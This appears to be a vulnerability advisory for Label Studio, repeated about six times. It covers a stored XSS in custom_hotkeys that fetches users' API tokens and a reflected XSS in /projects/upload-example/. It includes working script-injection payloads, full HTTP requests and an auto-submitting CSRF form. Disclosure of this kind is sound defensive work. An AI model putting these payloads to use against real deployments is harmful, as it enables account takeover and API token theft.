Prologue

These vulnerabilities have been found and chained by DCODX-AI. Validation of the exploit chain has been confirmed manually.

Summary

A persistent stored cross-site scripting (XSS) vulnerability exists in the custom_hotkeys functionality of the application. An authenticated attacker (or one who can trick a user/administrator into updating their custom_hotkeys) can inject JavaScript code that executes in other users’ browsers when those users load any page using the templates/base.html template. Because the application exposes an API token endpoint (/api/current-user/token) to the browser and lacks robust CSRF protection on some API endpoints, the injected script may fetch the victim’s API token or call token reset endpoints — enabling full account takeover and unauthorized API access. This vulnerability is of critical severity due to the broad impact, minimal requirements for exploitation (authenticated user), and the ability to escalate privileges to full account compromise.

Details

Within templates/base.html, the application renders user-controlled hotkey configuration via the following JavaScript snippet:

var __customHotkeys = {{ user.custom_hotkeys|json_dumps_ensure_ascii|safe }};

Here, user.custom_hotkeys is run through json_dumps_ensure_ascii (in core/templatetags/filters.py) which performs json.dumps(dictionary, ensure_ascii=False) but does not escape closing </script> sequences or other dangerous characters. Because the template uses the |safe filter, the output is inserted into the HTML <script> context without further escaping.

In users/api.py, the PATCH endpoint allows updating of custom_hotkeys:

user.custom_hotkeys = serializer.validated_data['custom_hotkeys']
user.save(update_fields=['custom_hotkeys'])

The serializer allows < and > characters (e.g., "…"), so an attacker can craft a JSON payload via PATCH /api/users/{id}/:

{
   "first_name":"poc",
   "last_name":"test",
   "phone":"123",
   "custom_hotkeys":{
      "INJ;</script><script>fetch(`/api/current-user/token`).then(r=>r.json()).then(t=>console.log(t.token))</script><script>/*xx":{
         "key":"x",
         "active":true
      }
   }
}

When another user loads a page using templates/base.html (for example /user/account/ or /), the rendered JavaScript includes the injected string, causing closing of the original tag and insertion of malicious <script> code. Because the application exposes /api/current-user/token ( in GET) which returns the user’s API token and CSRF protection is relaxed for this API path, the malicious script can fetch the token and send it to an attacker-controlled endpoint, thereby enabling account takeover and further API misuse.

PoC

1. Login to the application

• Go to the login page: GET /user/login/

2. Identify your user ID (via API)

• GET /api/current-user/whoami
• In the response JSON you will see your user ID (for example "id": 123).
• Note this ID for the next step.

3. Inject a malicious hotkey payload in the PATCH request /api/users/{id}

• Using the user API, send a PATCH request to update your custom_hotkeys.

Example request

PATCH /api/users/25 HTTP/1.1
Host: 0.0.0.0:8080
Content-Length: 288
sentry-trace: 926224d7bbfb4f0da9f6ebe333744a52-88db4876de60036c-0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
content-type: application/json
baggage: sentry-environment=opensource,sentry-release=1.21.0,sentry-public_key=5f51920ff82a4675a495870244869c6b,sentry-trace_id=926224d7bbfb4f0da9f6ebe333744a52,sentry-sample_rate=0.01,sentry-transaction=%2Fuser%2Faccount,sentry-sampled=false
Accept: */*
Origin: http://0.0.0.0:8080
Referer: http://0.0.0.0:8080/user/account/personal-info
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,it;q=0.7,nl;q=0.6
Cookie: {STRIPPED}
Connection: keep-alive

{
   "first_name":"poc",
   "last_name":"test",
   "phone":"123",
   "custom_hotkeys":{
      "INJ;</script><script>fetch(`/api/current-user/token`).then(r=>r.json()).then(t=>console.log(t.token))</script><script>/*xx":{
         "key":"x",
         "active":true
      }
   }
}

Example response

{"id":25,"first_name":"poc","last_name":"test","username":"test","email":"test@dcodx.com","last_activity":"2025-10-24T15:18:18.494398Z","custom_hotkeys":{"INJ;</script><script>fetch(`/api/current-user/token`).then(r=>r.json()).then(t=>alert(t.token))</script><script>/*xx":{"key":"x","active":true}},"avatar":null,"initials":"pt","phone":"123","active_organization":1,"active_organization_meta":{"title":"Label Studio","email":"poc_test_xgd9ce@example.com"},"allow_newsletters":false,"date_joined":"2025-10-24T15:18:18.494532Z"}

4. Verify the injected string persists

• Still logged in as your user, go to your account page (e.g., GET /user/account/).
• See the alert containing the API access token for the user. In a real world attack this token is sent to the attacker server

Impact

Exploitation impact:

• Full account takeover of victim user(s).
• Exposure of API tokens granting access to internal/external APIs.
• Unauthorized API access, data exfiltration, token reset or privilege escalation.
• If victim is administrator or privileged user, wide system compromise possible.

Who is impacted:

• All users who load the template and whose session/token is accessible via browser.
• The organization’s application and data.
• Potentially other end-users if cross-user token exfiltration occurs.

Prologue

These vulnerabilities have been found and chained by DCODX-AI. Validation of the exploit chain has been confirmed manually.

Summary

A persistent stored cross-site scripting (XSS) vulnerability exists in the custom_hotkeys functionality of the application. An authenticated attacker (or one who can trick a user/administrator into updating their custom_hotkeys) can inject JavaScript code that executes in other users’ browsers when those users load any page using the templates/base.html template. Because the application exposes an API token endpoint (/api/current-user/token) to the browser and lacks robust CSRF protection on some API endpoints, the injected script may fetch the victim’s API token or call token reset endpoints — enabling full account takeover and unauthorized API access. This vulnerability is of critical severity due to the broad impact, minimal requirements for exploitation (authenticated user), and the ability to escalate privileges to full account compromise.

Details

Within templates/base.html, the application renders user-controlled hotkey configuration via the following JavaScript snippet:

var __customHotkeys = {{ user.custom_hotkeys|json_dumps_ensure_ascii|safe }};

Here, user.custom_hotkeys is run through json_dumps_ensure_ascii (in core/templatetags/filters.py) which performs json.dumps(dictionary, ensure_ascii=False) but does not escape closing </script> sequences or other dangerous characters. Because the template uses the |safe filter, the output is inserted into the HTML <script> context without further escaping.

In users/api.py, the PATCH endpoint allows updating of custom_hotkeys:

user.custom_hotkeys = serializer.validated_data['custom_hotkeys']
user.save(update_fields=['custom_hotkeys'])

The serializer allows < and > characters (e.g., "…"), so an attacker can craft a JSON payload via PATCH /api/users/{id}/:

{
   "first_name":"poc",
   "last_name":"test",
   "phone":"123",
   "custom_hotkeys":{
      "INJ;</script><script>fetch(`/api/current-user/token`).then(r=>r.json()).then(t=>console.log(t.token))</script><script>/*xx":{
         "key":"x",
         "active":true
      }
   }
}

When another user loads a page using templates/base.html (for example /user/account/ or /), the rendered JavaScript includes the injected string, causing closing of the original tag and insertion of malicious <script> code. Because the application exposes /api/current-user/token ( in GET) which returns the user’s API token and CSRF protection is relaxed for this API path, the malicious script can fetch the token and send it to an attacker-controlled endpoint, thereby enabling account takeover and further API misuse.

PoC

1. Login to the application

• Go to the login page: GET /user/login/

2. Identify your user ID (via API)

• GET /api/current-user/whoami
• In the response JSON you will see your user ID (for example "id": 123).
• Note this ID for the next step.

3. Inject a malicious hotkey payload in the PATCH request /api/users/{id}

• Using the user API, send a PATCH request to update your custom_hotkeys.

Example request

PATCH /api/users/25 HTTP/1.1
Host: 0.0.0.0:8080
Content-Length: 288
sentry-trace: 926224d7bbfb4f0da9f6ebe333744a52-88db4876de60036c-0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
content-type: application/json
baggage: sentry-environment=opensource,sentry-release=1.21.0,sentry-public_key=5f51920ff82a4675a495870244869c6b,sentry-trace_id=926224d7bbfb4f0da9f6ebe333744a52,sentry-sample_rate=0.01,sentry-transaction=%2Fuser%2Faccount,sentry-sampled=false
Accept: */*
Origin: http://0.0.0.0:8080
Referer: http://0.0.0.0:8080/user/account/personal-info
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,it;q=0.7,nl;q=0.6
Cookie: {STRIPPED}
Connection: keep-alive

{
   "first_name":"poc",
   "last_name":"test",
   "phone":"123",
   "custom_hotkeys":{
      "INJ;</script><script>fetch(`/api/current-user/token`).then(r=>r.json()).then(t=>console.log(t.token))</script><script>/*xx":{
         "key":"x",
         "active":true
      }
   }
}

Example response

{"id":25,"first_name":"poc","last_name":"test","username":"test","email":"test@dcodx.com","last_activity":"2025-10-24T15:18:18.494398Z","custom_hotkeys":{"INJ;</script><script>fetch(`/api/current-user/token`).then(r=>r.json()).then(t=>alert(t.token))</script><script>/*xx":{"key":"x","active":true}},"avatar":null,"initials":"pt","phone":"123","active_organization":1,"active_organization_meta":{"title":"Label Studio","email":"poc_test_xgd9ce@example.com"},"allow_newsletters":false,"date_joined":"2025-10-24T15:18:18.494532Z"}

4. Verify the injected string persists

• Still logged in as your user, go to your account page (e.g., GET /user/account/).
• See the alert containing the API access token for the user. In a real world attack this token is sent to the attacker server

Impact

Exploitation impact:

• Full account takeover of victim user(s).
• Exposure of API tokens granting access to internal/external APIs.
• Unauthorized API access, data exfiltration, token reset or privilege escalation.
• If victim is administrator or privileged user, wide system compromise possible.

Who is impacted:

• All users who load the template and whose session/token is accessible via browser.
• The organization’s application and data.
• Potentially other end-users if cross-user token exfiltration occurs.

Prologue

These vulnerabilities have been found and chained by DCODX-AI. Validation of the exploit chain has been confirmed manually.

Summary

A persistent stored cross-site scripting (XSS) vulnerability exists in the custom_hotkeys functionality of the application. An authenticated attacker (or one who can trick a user/administrator into updating their custom_hotkeys) can inject JavaScript code that executes in other users’ browsers when those users load any page using the templates/base.html template. Because the application exposes an API token endpoint (/api/current-user/token) to the browser and lacks robust CSRF protection on some API endpoints, the injected script may fetch the victim’s API token or call token reset endpoints — enabling full account takeover and unauthorized API access. This vulnerability is of critical severity due to the broad impact, minimal requirements for exploitation (authenticated user), and the ability to escalate privileges to full account compromise.

Details

Within templates/base.html, the application renders user-controlled hotkey configuration via the following JavaScript snippet:

var __customHotkeys = {{ user.custom_hotkeys|json_dumps_ensure_ascii|safe }};

Here, user.custom_hotkeys is run through json_dumps_ensure_ascii (in core/templatetags/filters.py) which performs json.dumps(dictionary, ensure_ascii=False) but does not escape closing </script> sequences or other dangerous characters. Because the template uses the |safe filter, the output is inserted into the HTML <script> context without further escaping.

In users/api.py, the PATCH endpoint allows updating of custom_hotkeys:

user.custom_hotkeys = serializer.validated_data['custom_hotkeys']
user.save(update_fields=['custom_hotkeys'])

The serializer allows < and > characters (e.g., "…"), so an attacker can craft a JSON payload via PATCH /api/users/{id}/:

{
   "first_name":"poc",
   "last_name":"test",
   "phone":"123",
   "custom_hotkeys":{
      "INJ;</script><script>fetch(`/api/current-user/token`).then(r=>r.json()).then(t=>console.log(t.token))</script><script>/*xx":{
         "key":"x",
         "active":true
      }
   }
}

When another user loads a page using templates/base.html (for example /user/account/ or /), the rendered JavaScript includes the injected string, causing closing of the original tag and insertion of malicious <script> code. Because the application exposes /api/current-user/token ( in GET) which returns the user’s API token and CSRF protection is relaxed for this API path, the malicious script can fetch the token and send it to an attacker-controlled endpoint, thereby enabling account takeover and further API misuse.

PoC

1. Login to the application

• Go to the login page: GET /user/login/

2. Identify your user ID (via API)

• GET /api/current-user/whoami
• In the response JSON you will see your user ID (for example "id": 123).
• Note this ID for the next step.

3. Inject a malicious hotkey payload in the PATCH request /api/users/{id}

• Using the user API, send a PATCH request to update your custom_hotkeys.

Example request

PATCH /api/users/25 HTTP/1.1
Host: 0.0.0.0:8080
Content-Length: 288
sentry-trace: 926224d7bbfb4f0da9f6ebe333744a52-88db4876de60036c-0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
content-type: application/json
baggage: sentry-environment=opensource,sentry-release=1.21.0,sentry-public_key=5f51920ff82a4675a495870244869c6b,sentry-trace_id=926224d7bbfb4f0da9f6ebe333744a52,sentry-sample_rate=0.01,sentry-transaction=%2Fuser%2Faccount,sentry-sampled=false
Accept: */*
Origin: http://0.0.0.0:8080
Referer: http://0.0.0.0:8080/user/account/personal-info
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,it;q=0.7,nl;q=0.6
Cookie: {STRIPPED}
Connection: keep-alive

{
   "first_name":"poc",
   "last_name":"test",
   "phone":"123",
   "custom_hotkeys":{
      "INJ;</script><script>fetch(`/api/current-user/token`).then(r=>r.json()).then(t=>console.log(t.token))</script><script>/*xx":{
         "key":"x",
         "active":true
      }
   }
}

Example response

{"id":25,"first_name":"poc","last_name":"test","username":"test","email":"test@dcodx.com","last_activity":"2025-10-24T15:18:18.494398Z","custom_hotkeys":{"INJ;</script><script>fetch(`/api/current-user/token`).then(r=>r.json()).then(t=>alert(t.token))</script><script>/*xx":{"key":"x","active":true}},"avatar":null,"initials":"pt","phone":"123","active_organization":1,"active_organization_meta":{"title":"Label Studio","email":"poc_test_xgd9ce@example.com"},"allow_newsletters":false,"date_joined":"2025-10-24T15:18:18.494532Z"}

4. Verify the injected string persists

• Still logged in as your user, go to your account page (e.g., GET /user/account/).
• See the alert containing the API access token for the user. In a real world attack this token is sent to the attacker server

Impact

Exploitation impact:

• Full account takeover of victim user(s).
• Exposure of API tokens granting access to internal/external APIs.
• Unauthorized API access, data exfiltration, token reset or privilege escalation.
• If victim is administrator or privileged user, wide system compromise possible.

Who is impacted:

• All users who load the template and whose session/token is accessible via browser.
• The organization’s application and data.
• Potentially other end-users if cross-user token exfiltration occurs.

Prologue

These vulnerabilities have been found and chained by DCODX-AI. Validation of the exploit chain has been confirmed manually.

Summary

A persistent stored cross-site scripting (XSS) vulnerability exists in the custom_hotkeys functionality of the application. An authenticated attacker (or one who can trick a user/administrator into updating their custom_hotkeys) can inject JavaScript code that executes in other users’ browsers when those users load any page using the templates/base.html template. Because the application exposes an API token endpoint (/api/current-user/token) to the browser and lacks robust CSRF protection on some API endpoints, the injected script may fetch the victim’s API token or call token reset endpoints — enabling full account takeover and unauthorized API access. This vulnerability is of critical severity due to the broad impact, minimal requirements for exploitation (authenticated user), and the ability to escalate privileges to full account compromise.

Details

Within templates/base.html, the application renders user-controlled hotkey configuration via the following JavaScript snippet:

var __customHotkeys = {{ user.custom_hotkeys|json_dumps_ensure_ascii|safe }};

Here, user.custom_hotkeys is run through json_dumps_ensure_ascii (in core/templatetags/filters.py) which performs json.dumps(dictionary, ensure_ascii=False) but does not escape closing </script> sequences or other dangerous characters. Because the template uses the |safe filter, the output is inserted into the HTML <script> context without further escaping.

In users/api.py, the PATCH endpoint allows updating of custom_hotkeys:

user.custom_hotkeys = serializer.validated_data['custom_hotkeys']
user.save(update_fields=['custom_hotkeys'])

The serializer allows < and > characters (e.g., "…"), so an attacker can craft a JSON payload via PATCH /api/users/{id}/:

{
   "first_name":"poc",
   "last_name":"test",
   "phone":"123",
   "custom_hotkeys":{
      "INJ;</script><script>fetch(`/api/current-user/token`).then(r=>r.json()).then(t=>console.log(t.token))</script><script>/*xx":{
         "key":"x",
         "active":true
      }
   }
}

When another user loads a page using templates/base.html (for example /user/account/ or /), the rendered JavaScript includes the injected string, causing closing of the original tag and insertion of malicious <script> code. Because the application exposes /api/current-user/token ( in GET) which returns the user’s API token and CSRF protection is relaxed for this API path, the malicious script can fetch the token and send it to an attacker-controlled endpoint, thereby enabling account takeover and further API misuse.

PoC

1. Login to the application

• Go to the login page: GET /user/login/

2. Identify your user ID (via API)

• GET /api/current-user/whoami
• In the response JSON you will see your user ID (for example "id": 123).
• Note this ID for the next step.

3. Inject a malicious hotkey payload in the PATCH request /api/users/{id}

• Using the user API, send a PATCH request to update your custom_hotkeys.

Example request

PATCH /api/users/25 HTTP/1.1
Host: 0.0.0.0:8080
Content-Length: 288
sentry-trace: 926224d7bbfb4f0da9f6ebe333744a52-88db4876de60036c-0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
content-type: application/json
baggage: sentry-environment=opensource,sentry-release=1.21.0,sentry-public_key=5f51920ff82a4675a495870244869c6b,sentry-trace_id=926224d7bbfb4f0da9f6ebe333744a52,sentry-sample_rate=0.01,sentry-transaction=%2Fuser%2Faccount,sentry-sampled=false
Accept: */*
Origin: http://0.0.0.0:8080
Referer: http://0.0.0.0:8080/user/account/personal-info
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,it;q=0.7,nl;q=0.6
Cookie: {STRIPPED}
Connection: keep-alive

{
   "first_name":"poc",
   "last_name":"test",
   "phone":"123",
   "custom_hotkeys":{
      "INJ;</script><script>fetch(`/api/current-user/token`).then(r=>r.json()).then(t=>console.log(t.token))</script><script>/*xx":{
         "key":"x",
         "active":true
      }
   }
}

Example response

{"id":25,"first_name":"poc","last_name":"test","username":"test","email":"test@dcodx.com","last_activity":"2025-10-24T15:18:18.494398Z","custom_hotkeys":{"INJ;</script><script>fetch(`/api/current-user/token`).then(r=>r.json()).then(t=>alert(t.token))</script><script>/*xx":{"key":"x","active":true}},"avatar":null,"initials":"pt","phone":"123","active_organization":1,"active_organization_meta":{"title":"Label Studio","email":"poc_test_xgd9ce@example.com"},"allow_newsletters":false,"date_joined":"2025-10-24T15:18:18.494532Z"}

4. Verify the injected string persists

• Still logged in as your user, go to your account page (e.g., GET /user/account/).
• See the alert containing the API access token for the user. In a real world attack this token is sent to the attacker server

Impact

Exploitation impact:

• Full account takeover of victim user(s).
• Exposure of API tokens granting access to internal/external APIs.
• Unauthorized API access, data exfiltration, token reset or privilege escalation.
• If victim is administrator or privileged user, wide system compromise possible.

Who is impacted:

• All users who load the template and whose session/token is accessible via browser.
• The organization’s application and data.
• Potentially other end-users if cross-user token exfiltration occurs.

Prologue

These vulnerabilities have been found and chained by DCODX-AI. Validation of the exploit chain has been confirmed manually.

Summary

A persistent stored cross-site scripting (XSS) vulnerability exists in the custom_hotkeys functionality of the application. An authenticated attacker (or one who can trick a user/administrator into updating their custom_hotkeys) can inject JavaScript code that executes in other users’ browsers when those users load any page using the templates/base.html template. Because the application exposes an API token endpoint (/api/current-user/token) to the browser and lacks robust CSRF protection on some API endpoints, the injected script may fetch the victim’s API token or call token reset endpoints — enabling full account takeover and unauthorized API access. This vulnerability is of critical severity due to the broad impact, minimal requirements for exploitation (authenticated user), and the ability to escalate privileges to full account compromise.

Details

Within templates/base.html, the application renders user-controlled hotkey configuration via the following JavaScript snippet:

var __customHotkeys = {{ user.custom_hotkeys|json_dumps_ensure_ascii|safe }};

Here, user.custom_hotkeys is run through json_dumps_ensure_ascii (in core/templatetags/filters.py) which performs json.dumps(dictionary, ensure_ascii=False) but does not escape closing </script> sequences or other dangerous characters. Because the template uses the |safe filter, the output is inserted into the HTML <script> context without further escaping.

In users/api.py, the PATCH endpoint allows updating of custom_hotkeys:

user.custom_hotkeys = serializer.validated_data['custom_hotkeys']
user.save(update_fields=['custom_hotkeys'])

The serializer allows < and > characters (e.g., "…"), so an attacker can craft a JSON payload via PATCH /api/users/{id}/:

{
   "first_name":"poc",
   "last_name":"test",
   "phone":"123",
   "custom_hotkeys":{
      "INJ;</script><script>fetch(`/api/current-user/token`).then(r=>r.json()).then(t=>console.log(t.token))</script><script>/*xx":{
         "key":"x",
         "active":true
      }
   }
}

When another user loads a page using templates/base.html (for example /user/account/ or /), the rendered JavaScript includes the injected string, causing closing of the original tag and insertion of malicious <script> code. Because the application exposes /api/current-user/token ( in GET) which returns the user’s API token and CSRF protection is relaxed for this API path, the malicious script can fetch the token and send it to an attacker-controlled endpoint, thereby enabling account takeover and further API misuse.

PoC

1. Login to the application

• Go to the login page: GET /user/login/

2. Identify your user ID (via API)

• GET /api/current-user/whoami
• In the response JSON you will see your user ID (for example "id": 123).
• Note this ID for the next step.

3. Inject a malicious hotkey payload in the PATCH request /api/users/{id}

• Using the user API, send a PATCH request to update your custom_hotkeys.

Example request

PATCH /api/users/25 HTTP/1.1
Host: 0.0.0.0:8080
Content-Length: 288
sentry-trace: 926224d7bbfb4f0da9f6ebe333744a52-88db4876de60036c-0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
content-type: application/json
baggage: sentry-environment=opensource,sentry-release=1.21.0,sentry-public_key=5f51920ff82a4675a495870244869c6b,sentry-trace_id=926224d7bbfb4f0da9f6ebe333744a52,sentry-sample_rate=0.01,sentry-transaction=%2Fuser%2Faccount,sentry-sampled=false
Accept: */*
Origin: http://0.0.0.0:8080
Referer: http://0.0.0.0:8080/user/account/personal-info
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,it;q=0.7,nl;q=0.6
Cookie: {STRIPPED}
Connection: keep-alive

{
   "first_name":"poc",
   "last_name":"test",
   "phone":"123",
   "custom_hotkeys":{
      "INJ;</script><script>fetch(`/api/current-user/token`).then(r=>r.json()).then(t=>console.log(t.token))</script><script>/*xx":{
         "key":"x",
         "active":true
      }
   }
}

Example response

{"id":25,"first_name":"poc","last_name":"test","username":"test","email":"test@dcodx.com","last_activity":"2025-10-24T15:18:18.494398Z","custom_hotkeys":{"INJ;</script><script>fetch(`/api/current-user/token`).then(r=>r.json()).then(t=>alert(t.token))</script><script>/*xx":{"key":"x","active":true}},"avatar":null,"initials":"pt","phone":"123","active_organization":1,"active_organization_meta":{"title":"Label Studio","email":"poc_test_xgd9ce@example.com"},"allow_newsletters":false,"date_joined":"2025-10-24T15:18:18.494532Z"}

4. Verify the injected string persists

• Still logged in as your user, go to your account page (e.g., GET /user/account/).
• See the alert containing the API access token for the user. In a real world attack this token is sent to the attacker server

Impact

Exploitation impact:

• Full account takeover of victim user(s).
• Exposure of API tokens granting access to internal/external APIs.
• Unauthorized API access, data exfiltration, token reset or privilege escalation.
• If victim is administrator or privileged user, wide system compromise possible.

Who is impacted:

• All users who load the template and whose session/token is accessible via browser.
• The organization’s application and data.
• Potentially other end-users if cross-user token exfiltration occurs.

Prologue

These vulnerabilities have been found and chained by DCODX-AI. Validation of the exploit chain has been confirmed manually.

Summary

A persistent stored cross-site scripting (XSS) vulnerability exists in the custom_hotkeys functionality of the application. An authenticated attacker (or one who can trick a user/administrator into updating their custom_hotkeys) can inject JavaScript code that executes in other users’ browsers when those users load any page using the templates/base.html template. Because the application exposes an API token endpoint (/api/current-user/token) to the browser and lacks robust CSRF protection on some API endpoints, the injected script may fetch the victim’s API token or call token reset endpoints — enabling full account takeover and unauthorized API access. This vulnerability is of critical severity due to the broad impact, minimal requirements for exploitation (authenticated user), and the ability to escalate privileges to full account compromise.

Details

Within templates/base.html, the application renders user-controlled hotkey configuration via the following JavaScript snippet:

var __customHotkeys = {{ user.custom_hotkeys|json_dumps_ensure_ascii|safe }};

Here, user.custom_hotkeys is run through json_dumps_ensure_ascii (in core/templatetags/filters.py) which performs json.dumps(dictionary, ensure_ascii=False) but does not escape closing </script> sequences or other dangerous characters. Because the template uses the |safe filter, the output is inserted into the HTML <script> context without further escaping.

In users/api.py, the PATCH endpoint allows updating of custom_hotkeys:

user.custom_hotkeys = serializer.validated_data['custom_hotkeys']
user.save(update_fields=['custom_hotkeys'])

The serializer allows < and > characters (e.g., "…"), so an attacker can craft a JSON payload via PATCH /api/users/{id}/:

{
   "first_name":"poc",
   "last_name":"test",
   "phone":"123",
   "custom_hotkeys":{
      "INJ;</script><script>fetch(`/api/current-user/token`).then(r=>r.json()).then(t=>console.log(t.token))</script><script>/*xx":{
         "key":"x",
         "active":true
      }
   }
}

When another user loads a page using templates/base.html (for example /user/account/ or /), the rendered JavaScript includes the injected string, causing closing of the original tag and insertion of malicious <script> code. Because the application exposes /api/current-user/token ( in GET) which returns the user’s API token and CSRF protection is relaxed for this API path, the malicious script can fetch the token and send it to an attacker-controlled endpoint, thereby enabling account takeover and further API misuse.

PoC

1. Login to the application

• Go to the login page: GET /user/login/

2. Identify your user ID (via API)

• GET /api/current-user/whoami
• In the response JSON you will see your user ID (for example "id": 123).
• Note this ID for the next step.

3. Inject a malicious hotkey payload in the PATCH request /api/users/{id}

• Using the user API, send a PATCH request to update your custom_hotkeys.

Example request

PATCH /api/users/25 HTTP/1.1
Host: 0.0.0.0:8080
Content-Length: 288
sentry-trace: 926224d7bbfb4f0da9f6ebe333744a52-88db4876de60036c-0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
content-type: application/json
baggage: sentry-environment=opensource,sentry-release=1.21.0,sentry-public_key=5f51920ff82a4675a495870244869c6b,sentry-trace_id=926224d7bbfb4f0da9f6ebe333744a52,sentry-sample_rate=0.01,sentry-transaction=%2Fuser%2Faccount,sentry-sampled=false
Accept: */*
Origin: http://0.0.0.0:8080
Referer: http://0.0.0.0:8080/user/account/personal-info
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,it;q=0.7,nl;q=0.6
Cookie: {STRIPPED}
Connection: keep-alive

{
   "first_name":"poc",
   "last_name":"test",
   "phone":"123",
   "custom_hotkeys":{
      "INJ;</script><script>fetch(`/api/current-user/token`).then(r=>r.json()).then(t=>console.log(t.token))</script><script>/*xx":{
         "key":"x",
         "active":true
      }
   }
}

Example response

{"id":25,"first_name":"poc","last_name":"test","username":"test","email":"test@dcodx.com","last_activity":"2025-10-24T15:18:18.494398Z","custom_hotkeys":{"INJ;</script><script>fetch(`/api/current-user/token`).then(r=>r.json()).then(t=>alert(t.token))</script><script>/*xx":{"key":"x","active":true}},"avatar":null,"initials":"pt","phone":"123","active_organization":1,"active_organization_meta":{"title":"Label Studio","email":"poc_test_xgd9ce@example.com"},"allow_newsletters":false,"date_joined":"2025-10-24T15:18:18.494532Z"}

4. Verify the injected string persists

• Still logged in as your user, go to your account page (e.g., GET /user/account/).
• See the alert containing the API access token for the user. In a real world attack this token is sent to the attacker server

Impact

Exploitation impact:

• Full account takeover of victim user(s).
• Exposure of API tokens granting access to internal/external APIs.
• Unauthorized API access, data exfiltration, token reset or privilege escalation.
• If victim is administrator or privileged user, wide system compromise possible.

Who is impacted:

• All users who load the template and whose session/token is accessible via browser.
• The organization’s application and data.
• Potentially other end-users if cross-user token exfiltration occurs.

Summary

The vulnerability allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, unauthorized actions on behalf of the user, and other attacks.

Details

The vulnerability is reproducible when sending a properly formatted request to the POST /projects/upload-example/ endpoint. In the source code, the vulnerability is located at label_studio/projects/views.py.

39: @require_http_methods(['POST'])
40: def upload_example_using_config(request):
41:     """Generate upload data example by config only"""
42:     config = request.POST.get('label_config', '')
43: 
44:     org_pk = get_organization_from_request(request)
45:     secure_mode = False
46:     if org_pk is not None:
47:         org = generics.get_object_or_404(Organization, pk=org_pk)
48:         secure_mode = org.secure_mode
49: 
50:     try:
51:         Project.validate_label_config(config)
52:         task_data, _, _ = get_sample_task(config, secure_mode)
53:         task_data = playground_replacements(request, task_data)
54:     except (ValueError, ValidationError, lxml.etree.Error):
55:         response = HttpResponse('error while example generating', status=status.HTTP_400_BAD_REQUEST)
56:     else:
57:         response = HttpResponse(json.dumps(task_data))
58:     return response

The vulnerability is specifically located in line 57, where HttpResponse is used.

57:         response = HttpResponse(json.dumps(task_data))

PoC

Send the following request after changing the {host} to your own.

POST /projects/upload-example/ HTTP/1.1
Host: {host}
Content-Type: application/x-www-form-urlencoded
Content-Length: 67

label_config=%3cView%3e%3cText%20name%3d%22text%22%20value%3d%22$textjmwwi%26lt%3bscript%26gt%3balert(1)%26lt%3b%2fscript%26gt%3bs8m37%22%2f%3e%3c%2fView%3e

Or you can create a vulnerable HTML page by changing {domain} beforehand, which can later be sent to the victim.

<html>
  <body>
    <form action="http://{domain}/projects/upload-example/" method="POST">
      <input type="hidden" name="label&#95;config" value="&lt;View&gt;&lt;Text&#32;name&#61;&quot;text&quot;&#32;value&#61;&quot;&#36;textjmwwi&amp;lt&#59;script&amp;gt&#59;alert&#40;1&#41;&amp;lt&#59;&#47;script&amp;gt&#59;s8m37&quot;&#47;&gt;&lt;&#47;View&gt;" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Impact

• Malicious code execution: The user may be forced to perform unwanted actions within their Label Studio account. This includes accessing document.cookie, but note that Label Studio session cookies are marked http-only, mitigating any possibility of session theft.

Prologue

These vulnerabilities have been found and chained by DCODX-AI. Validation of the exploit chain has been confirmed manually.

Summary

A persistent stored cross-site scripting (XSS) vulnerability exists in the custom_hotkeys functionality of the application. An authenticated attacker (or one who can trick a user/administrator into updating their custom_hotkeys) can inject JavaScript code that executes in other users’ browsers when those users load any page using the templates/base.html template. Because the application exposes an API token endpoint (/api/current-user/token) to the browser and lacks robust CSRF protection on some API endpoints, the injected script may fetch the victim’s API token or call token reset endpoints — enabling full account takeover and unauthorized API access. This vulnerability is of critical severity due to the broad impact, minimal requirements for exploitation (authenticated user), and the ability to escalate privileges to full account compromise.

Details

Within templates/base.html, the application renders user-controlled hotkey configuration via the following JavaScript snippet:

var __customHotkeys = {{ user.custom_hotkeys|json_dumps_ensure_ascii|safe }};

Here, user.custom_hotkeys is run through json_dumps_ensure_ascii (in core/templatetags/filters.py) which performs json.dumps(dictionary, ensure_ascii=False) but does not escape closing </script> sequences or other dangerous characters. Because the template uses the |safe filter, the output is inserted into the HTML <script> context without further escaping.

In users/api.py, the PATCH endpoint allows updating of custom_hotkeys:

user.custom_hotkeys = serializer.validated_data['custom_hotkeys']
user.save(update_fields=['custom_hotkeys'])

The serializer allows < and > characters (e.g., "…"), so an attacker can craft a JSON payload via PATCH /api/users/{id}/:

{
   "first_name":"poc",
   "last_name":"test",
   "phone":"123",
   "custom_hotkeys":{
      "INJ;</script><script>fetch(`/api/current-user/token`).then(r=>r.json()).then(t=>console.log(t.token))</script><script>/*xx":{
         "key":"x",
         "active":true
      }
   }
}

When another user loads a page using templates/base.html (for example /user/account/ or /), the rendered JavaScript includes the injected string, causing closing of the original tag and insertion of malicious <script> code. Because the application exposes /api/current-user/token ( in GET) which returns the user’s API token and CSRF protection is relaxed for this API path, the malicious script can fetch the token and send it to an attacker-controlled endpoint, thereby enabling account takeover and further API misuse.

